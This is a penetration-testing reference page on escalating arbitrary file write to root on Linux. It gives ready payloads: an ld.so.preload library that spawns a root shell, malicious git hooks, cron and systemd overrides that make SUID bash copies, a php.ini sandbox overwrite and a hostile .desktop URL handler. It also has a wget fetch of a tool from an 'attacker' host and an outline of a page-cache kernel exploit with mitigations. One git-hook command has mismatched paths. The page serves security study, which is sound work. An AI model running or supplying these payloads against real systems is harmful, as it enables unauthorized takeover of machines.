Arbitrary File Write to Root
/etc/ld.so.preload
This file behaves like LD_PRELOAD env variable but it also works in SUID binaries.\
If you can create it or modify it, you can just add a path to a library that will be loaded with each executed binary.
For example: echo "/tmp/pe.so" > /etc/ld.so.preload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Git hooks
Git hooks are scripts that are run on various events in a git repository like when a commit is created, a merge... So if a privileged script or user is performing this actions frequently and it's possible to write in the .git folder, this can be used to privesc.
For example, It's possible to generate a script in a git repo in .git/hooks so it's always executed when a new commit is created:
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
Cron & Time files
If you can write cron-related files that root executes, you can usually get code execution the next time the job runs. Interesting targets include:
/etc/crontab/etc/cron.d/*/etc/cron.hourly/*,/etc/cron.daily/*,/etc/cron.weekly/*,/etc/cron.monthly/*- Root's own crontab in
/var/spool/cron/or/var/spool/cron/crontabs/ systemdtimers and the services they trigger
Quick checks:
ls -la /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
find /var/spool/cron* -maxdepth 2 -type f -ls 2>/dev/null
systemctl list-timers --all 2>/dev/null
grep -R "run-parts\\|cron" /etc/crontab /etc/cron.* /etc/cron.d 2>/dev/null
Typical abuse paths:
- Append a new root cron job to
/etc/crontabor a file in/etc/cron.d/ - Replace a script already executed by
run-parts - Backdoor an existing timer target by modifying the script or binary it launches
Minimal cron payload example:
echo '* * * * * root cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash' >> /etc/crontab
If you can only write inside a cron directory used by run-parts, drop an executable file there instead:
cat > /etc/cron.daily/backup <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4777 /tmp/rootbash
EOF
chmod +x /etc/cron.daily/backup
Notes:
run-partsusually ignores filenames containing dots, so prefer names likebackupinstead ofbackup.sh.- Some distros use
anacronorsystemdtimers instead of classic cron, but the abuse idea is the same: modify what root will execute later.
Service & Socket files
If you can write systemd unit files or files referenced by them, you may be able to get code execution as root by reloading and restarting the unit, or by waiting for the service/socket activation path to trigger.
Interesting targets include:
/etc/systemd/system/*.service/etc/systemd/system/*.socket- Drop-in overrides in
/etc/systemd/system/<unit>.d/*.conf - Service scripts/binaries referenced by
ExecStart=,ExecStartPre=,ExecStartPost= - Writable
EnvironmentFile=paths loaded by a root service
Quick checks:
ls -la /etc/systemd/system /lib/systemd/system 2>/dev/null
systemctl list-units --type=service --all 2>/dev/null
systemctl list-units --type=socket --all 2>/dev/null
grep -R "^ExecStart=\\|^EnvironmentFile=\\|^ListenStream=" /etc/systemd/system /lib/systemd/system 2>/dev/null
Common abuse paths:
- Overwrite
ExecStart=in a root-owned service unit you can modify - Add a drop-in override with a malicious
ExecStart=and clear the old one first - Backdoor the script/binary already referenced by the unit
- Hijack a socket-activated service by modifying the corresponding
.servicefile that starts when the socket receives a connection
Example malicious override:
[Service]
ExecStart=
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash'
Typical activation flow:
systemctl daemon-reload
systemctl restart vulnerable.service
# or trigger the socket-backed service by connecting to it
If you cannot restart services yourself but can edit a socket-activated unit, you may only need to wait for a client connection to trigger execution of the backdoored service as root.
Overwrite a restrictive php.ini used by a privileged PHP sandbox
Some custom daemons validate user-supplied PHP by running php with a restricted php.ini (for example, disable_functions=exec,system,...). If the sandboxed code still has any write primitive (like file_put_contents) and you can reach the exact php.ini path used by the daemon, you can overwrite that config to lift restrictions and then submit a second payload that runs with elevated privileges.
Typical flow:
- First payload overwrites the sandbox config.
- Second payload executes code now that dangerous functions are re-enabled.
Minimal example (replace the path used by the daemon):
<?php
file_put_contents('/path/to/sandbox/php.ini', "disable_functions=\n");
If the daemon runs as root (or validates with root-owned paths), the second execution yields a root context. This is essentially privilege escalation via config overwrite when the sandboxed runtime can still write files.
binfmt_misc
The file located in /proc/sys/fs/binfmt_misc indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
Overwrite schema handlers (like http: or https:)
An attacker with write permissions to a victim's configuration directories can easily replace or create files that change system behavior, resulting in unintended code execution. By modifying the $HOME/.config/mimeapps.list file to point HTTP and HTTPS URL handlers to a malicious file (e.g., setting x-scheme-handler/http=evil.desktop), the attacker ensures that clicking any http or https link triggers code specified in that evil.desktop file. For example, after placing the following malicious code in evil.desktop in $HOME/.local/share/applications, any external URL click runs the embedded command:
[Desktop Entry]
Exec=sh -c 'zenity --info --title="$(uname -n)" --text="$(id)"'
Type=Application
Name=Evil Desktop Entry
For more info check this post where it was used to exploit a real vulnerability.
Root executing user-writable scripts/binaries
If a privileged workflow runs something like /bin/sh /home/username/.../script (or any binary inside a directory owned by an unprivileged user), you can hijack it:
- Detect the execution: monitor processes with pspy to catch root invoking user-controlled paths:
wget http://attacker/pspy64 -O /dev/shm/pspy64
chmod +x /dev/shm/pspy64
/dev/shm/pspy64 # wait for root commands pointing to your writable path
- Confirm writeability: ensure both the target file and its directory are owned/writable by your user.
- Hijack the target: backup the original binary/script and drop a payload that creates a SUID shell (or any other root action), then restore permissions:
mv server-command server-command.bk
cat > server-command <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chown root:root /tmp/rootshell
chmod 6777 /tmp/rootshell
EOF
chmod +x server-command
- Trigger the privileged action (e.g., pressing a UI button that spawns the helper). When root re-executes the hijacked path, grab the escalated shell with
./rootshell -p.
Page-cache-only file modification of privileged binaries
Some kernel bugs don't modify the file on disk. Instead, they let you modify only the page cache copy of a readable file. If you can target a setuid or otherwise root-executed binary, the next execution may run attacker-controlled bytes from memory and escalate privileges even though the file hash on disk is unchanged.
This is useful to think about as a runtime-only file write primitive:
- Disk stays clean: the inode and on-disk bytes do not change
- Memory is dirty: processes reading/executing the cached page get the attacker-modified content
- Effect is temporary: the change disappears after reboot or cache eviction
This primitive sits between classic arbitrary file write and older page-cache abuse bugs such as Dirty COW / Dirty Pipe:
- Dirty COW relied on a race
- Dirty Pipe had write-position constraints
- A page-cache-only primitive can be more reliable if the vulnerable path gives direct writes into cached file-backed pages
Generic privesc flow
- Get a kernel primitive that can write into file-backed page cache pages
- Use it against a readable privileged binary or another root-executed file
- Trigger execution before the page is evicted from cache
- Get code execution as root while the on-disk file still looks unmodified
Typical high-value targets:
- setuid-root binaries
- Helpers launched by root services
- Binaries commonly executed from containers sharing the host kernel/page cache
AF_ALG + splice() example path
Copy Fail (CVE-2026-31431) is a good example of this class. The vulnerable path was in the Linux crypto userspace API (AF_ALG / algif_aead):
splice()can move references to page-cache pages from a readable file into the crypto TX scatterlist- the in-place
algif_aeaddecrypt path reused source and destination buffers authencesnthen wrote into the destination tag region- when that region still referenced spliced file-backed pages, the write landed in the page cache of the target file
So the interesting technique is not the CVE itself, but the pattern:
- feed file-backed cache pages into a kernel subsystem
- make the subsystem treat them as writable output
- trigger a small controlled overwrite in memory
The public PoC used repeated 4-byte writes to patch /usr/bin/su in memory and then executed it.
Exposure and hunting
If you suspect this class of bug, don't rely only on disk integrity checks. Also verify:
uname -r
grep CONFIG_CRYPTO_USER_API_AEAD= /boot/config-$(uname -r) 2>/dev/null
lsmod | grep algif_aead
find / -perm -4000 -type f 2>/dev/null
CONFIG_CRYPTO_USER_API_AEAD=m:algif_aeadmay be loadable/unloadable as a moduleCONFIG_CRYPTO_USER_API_AEAD=y: the interface is built into the kernel- setuid binaries are good targets because a page-cache-only patch can be enough to turn a local foothold into root
Attack-surface reduction for the algif_aead path
If the vulnerable interface is provided by a loadable module:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
If it is compiled into the kernel, some disclosures reported blocking the init path with:
initcall_blacklist=algif_aead_init
This kind of mitigation is worth remembering for other kernel LPEs too: if exploitation depends on a specific optional interface, disabling or blacklisting that interface can break the exploit path even before a full kernel upgrade is available.
References
- HTB Bamboo – hijacking a root-executed script in a user-writable PaperCut directory
- HTB: Gavel
- Tenable: Copy Fail (CVE-2026-31431) FAQ
- Openwall oss-security disclosure for CVE-2026-31431
- Linux stable fix: crypto: algif_aead - Revert to operating out-of-place
- Copy Fail advisory
- Theori / Xint technical writeup